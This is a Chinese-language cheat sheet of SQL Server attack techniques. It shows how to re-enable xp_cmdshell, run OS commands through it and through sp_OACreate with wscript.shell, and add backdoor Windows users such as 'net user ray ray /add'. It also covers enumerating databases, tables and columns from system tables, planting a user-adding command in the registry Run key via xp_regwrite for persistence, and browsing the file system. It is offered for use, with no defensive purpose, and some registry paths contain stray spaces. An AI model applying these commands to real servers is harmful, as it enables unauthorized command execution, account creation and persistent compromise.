一 系统Shell



  恢复xp_cmdshell



  Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'



  使用xp_cmdshell添加用户



  exec xp_cmdshell 'net user user1 /add'



   利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属 性run执行命令。



  DECLARE @shell INT



  EXEC SP_OAcreate 'wscript.shell',@shell out



  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'



   declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user temp zyi /add'--



  二 数据库查询



  查询库



  库名称存在master库中的sysdatabases表中,sysdatabases表中的 dbid字段的值大于6的就是用户自己建的库



  Select name FROM sysdatabases where dbid>6



  查询表



  表名称存在xyz库中的sysobjects表且xtype='u'



  Select *FROM sysobjects where xtype='u'



  查询字段



  该表的字段存在xyz库中的syscolumns表,且id等于sysobjects表中test表对应的id



  Select * FROM syscolumns where id='357576312'



  三 注册表操作



  利用xp_regwrite写注册表项



   EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\c urrentversion\run','shell','REG_SZ','C:\windows\sys tem32\cmd.exe /c net user ray ray /add'



  查看注册表



  Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\C urrentVersion\Run'



  四 文件操作



  历遍目录



  exec master.dbo.xp_dirtree 'c:\'



  获取子目录



  exec master.dbo.xp_subdirs 'c:\'



  判断目录或文件是否存在



  exec master..xp_fileexist 'c:\boot.ini'